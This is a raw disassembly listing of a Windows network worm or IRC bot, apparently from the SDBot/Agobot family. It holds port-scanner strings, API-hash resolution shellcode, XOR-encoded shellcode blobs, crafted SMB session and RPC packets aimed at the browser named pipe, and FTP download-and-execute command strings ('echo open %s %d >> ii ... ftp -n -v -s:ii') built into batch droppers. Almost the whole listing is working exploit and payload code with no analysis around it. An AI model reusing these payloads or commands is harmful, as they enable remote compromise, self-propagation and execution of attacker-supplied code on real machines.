aFtpPortDTotalS	db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422B40+140o
		align 10h
aScanNotStarted	db 'scan: not started',0 ; DATA XREF: sub_422B40+B2o
		align 8
aScanCipS	db 'scan: cip (%s)',0   ; DATA XREF: sub_422B40+6Do
		align 4
		dd 0
dword_4456DC	dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket	db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423C42o
		align 10h
aSocketOpen_	db 'Socket open.',0     ; DATA XREF: ___:00423C25o
		align 10h
aSendtoSocketFa	db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423B95o
		align 10h
aSocketOpenFail	db 'socket open failed',0 ; DATA XREF: ___:00423B5Fo
					; ___:off_447670o
		align 8
aScanIpSPortDIs	db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423E37o
		align 10h
aScanIpSDScanTh	db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:00423DD6o
		align 10h
aScanFinishedAt	db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
					; DATA XREF: ___:004242B7o
		align 4
		dd 3 dup(0)
aScanFailedToSt	db '[SCAN]: Failed to start worker thread, error: <%d>.',0
					; DATA XREF: ___:00424206o
		dd 3 dup(0)
aScanSDScanThre	db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:0042414Fo
		dd 3 dup(0)
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_424920+BDo
		align 10h
dword_4458A0	dd 10FF8h, 0	dword_4458A8	dd 10FF8h	dword_4458AC	dd 7FFDF020h, 0	dword_4458B4	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_44593C	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_44596C	dd 0		dword_445970	dd 800000D4h			align 8

; =============== S U B	R O U T	I N E =======================================



sub_445978	proc near		; DATA XREF: sub_425100+85o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_445A74
		push	dword ptr [esi]
		push	63D61209h
		call	sub_445A8A
		mov	[esi+8], eax
		call	sub_445A3D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_445A8A
		mov	[esi+0Ch], eax
		call	sub_4459EF
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_445A8A
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_445978	endp


; =============== S U B	R O U T	I N E =======================================



sub_4459EF	proc near		; CODE XREF: sub_445978+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_445A18
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_4459EF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_445A18	proc near		; CODE XREF: sub_4459EF+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_445A27:				; CODE XREF: sub_445A18+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_445A34
		inc	ebx
		jmp	short loc_445A27
; ---------------------------------------------------------------------------


loc_445A34:				; CODE XREF: sub_445A18+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_445A18	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_445A3D	proc near		; CODE XREF: sub_445978+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_445A55:				; CODE XREF: sub_445A3D+1Ej
		cmp	[ecx], ebx
		jz	short loc_445A5D
		mov	ecx, [ecx]
		jmp	short loc_445A55
; ---------------------------------------------------------------------------


loc_445A5D:				; CODE XREF: sub_445A3D+1Aj
		mov	edx, edi


loc_445A5F:				; CODE XREF: sub_445A3D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_445A69
		mov	edx, [edx+4]
		jmp	short loc_445A5F
; ---------------------------------------------------------------------------


loc_445A69:				; CODE XREF: sub_445A3D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_445A3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_445A74	proc near		; CODE XREF: sub_445978+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_445A74	endp


; =============== S U B	R O U T	I N E =======================================



sub_445A8A	proc near		; CODE XREF: sub_445978+16p
					; sub_445978+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_445AA0:				; CODE XREF: sub_445A8A+33j
		jecxz	short loc_445ADA
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_445AAD:				; CODE XREF: sub_445A8A+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_445AB9
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_445AAD
; ---------------------------------------------------------------------------


loc_445AB9:				; CODE XREF: sub_445A8A+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_445AA0
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_445ADA:				; CODE XREF: sub_445A8A:loc_445AA0j
					; sub_445A8A:loc_445ADAj
		jmp	short loc_445ADA
sub_445A8A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_445AE0	proc near		; DATA XREF: sub_425100+1Eo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_445B32
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_445AFD:				; CODE XREF: sub_445AE0+38j
		jecxz	short loc_445B2D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_445B08:				; CODE XREF: sub_445AE0+32j
		lodsb
		test	al, al
		jz	short loc_445B14
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_445B08
; ---------------------------------------------------------------------------


loc_445B14:				; CODE XREF: sub_445AE0+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_445AFD
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_445B2D:				; CODE XREF: sub_445AE0:loc_445AFDj
		mov	[esp+arg_0], ebx
		retn
sub_445AE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_445B32	proc near		; CODE XREF: sub_445AE0+7p

; FUNCTION CHUNK AT 00445B6A SIZE 00000005 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_445B4B
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_445B56
; ---------------------------------------------------------------------------


loc_445B4B:				; CODE XREF: sub_445B32+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_445B56:				; CODE XREF: sub_445B32+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_445B6A
sub_445B32	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_445B5D	proc near		; CODE XREF: sub_445B32:loc_445B6Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_445B5D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445B32


loc_445B6A:				; CODE XREF: sub_445B32+29j
		call	sub_445B5D
; END OF FUNCTION CHUNK	FOR sub_445B32
; ---------------------------------------------------------------------------
		db 0
		dd 25h dup(0)
dword_445C04	dd 23h		dword_445C08	dd 60h		dword_445C0C	dd 62B0606h, 2050501h, 0A0hdword_445C18	dd 0A1h		dword_445C1C	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_424920+16Do
		align 4


loc_445C28:				; DATA XREF: sub_424920+100o
		jmp	short near ptr dword_445C30
; ---------------------------------------------------------------------------
		align 10h
dword_445C30	dd 0		aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>'
					; DATA XREF: sub_425100+60o
		db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &'
		db '%s',0Dh,0Ah,0
		align 4
		dd 7 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_445CEA

; =============== S U B	R O U T	I N E =======================================



sub_445CDA	proc far		; CODE XREF: sub_445CDA:loc_445CEAp
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_445CE2:				; CODE XREF: sub_445CDA+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_445CE2
		jmp	short loc_445CEF
; ---------------------------------------------------------------------------


loc_445CEA:				; CODE XREF: ___:00445CD8j
		call	near ptr sub_445CDA


loc_445CEF:				; CODE XREF: sub_445CDA+Ej
		jo	short loc_445D53
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_445D71
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_445D53:				; CODE XREF: sub_445CDA:loc_445CEFj
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_445D71:				; CODE XREF: sub_445CDA+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_445CDA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_445E18:				; DATA XREF: sub_4257F0+12Bo
					; sub_4257F0+135o ...
		jmp	short loc_445E2A

; =============== S U B	R O U T	I N E =======================================



sub_445E1A	proc near		; CODE XREF: sub_445E1A:loc_445E2Ap
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_445E22:				; CODE XREF: sub_445E1A+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_445E22
		jmp	short loc_445E2F
; ---------------------------------------------------------------------------


loc_445E2A:				; CODE XREF: ___:loc_445E18j
		call	sub_445E1A


loc_445E2F:				; CODE XREF: sub_445E1A+Ej
		jo	short near ptr dword_445DA8+1Eh
		cwde
		cdq
		cdq
		retn
sub_445E1A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
word_445EC8	dw 4B9Dh		; DATA XREF: sub_4257F0+105w
		dw 59AAh
		dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh,	66CAC9C9h
		dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h,	10627B17h
		dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h
		dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh
		dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h
		dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h,	66677671h
		dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh
		dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h
		dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh
		dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh
		dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh
		dd 99EDFCF2h, 0
dword_445FB0	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: ___:00425E52o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_44603C	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00425E87o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_4460E8	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00425EB6o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_4461C8	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+5Do
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
		db 43h,	0, 24h
dword_44621F	dd 3F000000h	dword_446223	dd 3F3F3F3Fh	byte_446227	db 0			; DATA XREF: sub_4257F0+B4r
		dd 0
dword_44622C	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+2C2o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_446298	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+2F5o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_44633C	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+3FAo
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_4463BC	dd offset sub_401492+3	; DATA XREF: sub_4257F0+42Bo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset byte_406FB0+0CCh
		dd 1, 0
		dd 1, 0
		dd offset byte_406FB0+0CCh
		dd 1, 0
		dd 1, 0
		dd offset byte_406FB0+0CCh
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_446450	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+335o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_4464BC	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+368o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_446530	dd 0				dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 3	dup(0)
dword_4465BC	dd 1004600h						; sub_4257F0+24Fr
		dd 1, 7515123Ch, 2, 751C123Ch, 75h dup(0)
dword_4467A4	dd 61622E63h, 0A0D74h, 0aEchoExitYC_bat	db 'echo exit /y >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+2A0o
		align 4
		dd 0
aEchoDelFC_batC	db 'echo del /F c.bat >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+277o
		align 10h
aEchoDel_pifC_b	db 'echo del .pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+24Eo
		dd 0
aEchoSC_bat	db 'echo %s >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+221o
		align 10h
		dd 0
aEchoFtpNVS_pif	db 'echo ftp -n -v -s:.pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1E9o
		align 4
		dd 0
aEcho@echoOffC_	db 'echo @echo off >c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1BCo
		align 8
aEchoBye_pif	db 'echo bye>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+18Fo
		align 10h
aEchoGetS_pif	db 'echo GET %s>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+162o
		align 4
		dd 0
aEchoBinary_pif	db 'echo binary>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+12Ao
		align 8
aEchoUserAA_pif	db 'echo user a a>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+FDo
		align 10h
		dd 0
aEchoOpenSD_pif	db 'echo open %s %d>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+D0o
		align 10h
dword_4468F0	dd 6EB06EBh			align 8
dword_4468F8	dd 73255C5Ch, 6370695Ch, 24h					; ___:00426352o
dword_446904	dd 1CEC8166h	dword_446908	dd 0E4FF07h			align 10h
dword_446910	dd 30B0005h, 10h, 48h, 0		dd 16D016D0h, 0
		dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
		dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_44695C	dd 3000005h, 10h, 830h,	0		dd 818h, 1F0000h, 0FFFFFFFFh, 1, 0
		dd 1, 2	dup(0)
dword_44698C	dd 0FAh, 2, 0			dd 2, 0
		dd 0FAh, 2 dup(0)
dword_4469AC	dd 0D959516Ah, 2474D9EEh		db 0F4h, 5Bh
; ---------------------------------------------------------------------------


loc_4469B6:				; CODE XREF: ___:004469C0j
		xor	dword ptr [ebx+13h], 889097A8h
		sub	ebx, 0FFFFFFFCh
		loop	loc_4469B6
		sub	[ebx+6Fh], edx
		db	67h
		push	edi
		push	7CC274D4h
		frstor	byte ptr [eax+51h]
		push	1CC8776Fh
		cld
		lodsb
		mov	word ptr ds:95EB23B4h[edx*8], ds
; ---------------------------------------------------------------------------
		db 0F0h, 0A9h, 78h
		dd 1CB0C71Bh, 7CA9A8CFh, 1C9C03D9h, 57996691h, 572C2409h
		dd 5D698FE4h, 7C6A899Dh, 0B3FCB364h, 1C4DFDB8h,	7CA9ACCFh
		dd 0DCA403F6h, 96B4D71Bh, 1C848B7Bh, 8B8CE419h,	4C994BF1h
		dd 0A7EB03F4h, 1CA4C81Bh, 1C0594E0h, 0FFF680D0h, 7BA6C61Eh
		dd 0F17E77C0h, 0A4C0EEC3h, 0E4DFE0A2h, 68FCD7A2h, 7A63E040h
		dd 68F8B36Ch, 7221D746h, 9F4509F6h, 95C2DD92h, 4EC0586Fh
		dd 0C0057D99h, 0C4FB5E6Fh, 0D4FBDBC3h, 68FBCBC3h, 86C0EE40h
		dd 1EFBEECCh, 33C01D71h, 0C06FF88Ah, 87C25E6Fh,	4757DDC1h
		dd 0B9052CF8h, 4157DF79h, 4757DDC3h, 11E16DF8h,	4157DFD9h
		dd 0C2FCDCC0h, 0FF3B586Fh, 0EE6EF177h, 0C27E77C7h, 0FDCE586Fh
		dd 0F4C0EEF4h, 0FD4D01FDh, 5B81D1C0h, 0D3C26F19h, 57996A19h
		dd 0D5562263h, 0BBEA76BDh, 0AFD20503h, 0FF03233Bh, 811B76E2h
		dd 68ECFD6Fh, 0C5FFD346h, 0FDF9D9C1h, 0C2F9D991h, 0FF7877C1h
		dd 59AD513Dh, 0FD7E77C3h, 689F776Fh, 6BFF0340h,	68CC4C13h
		dd 4757DA46h, 776667F8h, 4157DBF0h, 586Fh, 19h dup(0)
aOpenSDIiEchoUs	db 'open %s %d >> ii &echo user a a >> ii &echo binary >> ii &echo ge'
					; DATA XREF: sub_426070+D6o
		db 't %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
		align 4
		dd 6 dup(0)
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:004263B4o
		align 8
word_446C18	dw 2EBh			; DATA XREF: ___:00426331r
		align 4
dword_446C1C	dd 215h				dd 0
dword_446C24	dd 20804h			dd 0
; ---------------------------------------------------------------------------


loc_446C2C:				; DATA XREF: sub_4267D0+CCo
		jmp	short loc_446C30
; ---------------------------------------------------------------------------


loc_446C2E:				; CODE XREF: ___:loc_446C30p
		jmp	short loc_446C35
; ---------------------------------------------------------------------------


loc_446C30:				; CODE XREF: ___:loc_446C2Cj
		call	loc_446C2E


loc_446C35:				; CODE XREF: ___:loc_446C2Ej
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_446C3A	dw 0FFFFh		; DATA XREF: sub_4267D0+D3w
		db 80h,	73h, 0Eh
byte_446C3F	db 0FFh			; DATA XREF: sub_4267D0+DAw
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_446C44:				; DATA XREF: sub_4267D0+A7o
		jmp	short loc_446C48
; ---------------------------------------------------------------------------


loc_446C46:				; CODE XREF: ___:loc_446C48p
		jmp	short loc_446C4D
; ---------------------------------------------------------------------------


loc_446C48:				; CODE XREF: ___:loc_446C44j
		call	loc_446C46


loc_446C4D:				; CODE XREF: ___:loc_446C46j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_446C51	db 0FFh			; DATA XREF: sub_4267D0+AEw
		dw 7380h
		db 0Ch
byte_446C55	db 0FFh			; DATA XREF: sub_4267D0+B4w
		dw 0E243h
		dd 0F9h
dword_446C5C	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_426560+43o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_446CC0	dd 12h				dd 70746674h, 6578652Eh, 20692D20h
dword_446CD0	dd 74656720h	byte_446CD4	db 20h			; DATA XREF: sub_426560+A2r
dword_446CD5	dd 0E8006A00h	dword_446CD9	dd 17h							; sub_426560+D2r
dword_446CDD	dd 0E8C30175h	dword_446CE1	dd 1							; sub_426560+E7r
byte_446CE5	db 0, 6Ah, 0		; DATA XREF: sub_426560+110o
		dd 7E8h
		db 0, 0Fh, 84h
dword_446CEF	dd 0FFFFFFEDh	; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi	; free
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 10h
		dd 0Ch dup(0)
aPing		db 'ping',0             ; DATA XREF: sub_427740+22o
		align 4
aSCannotSendPin	db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0
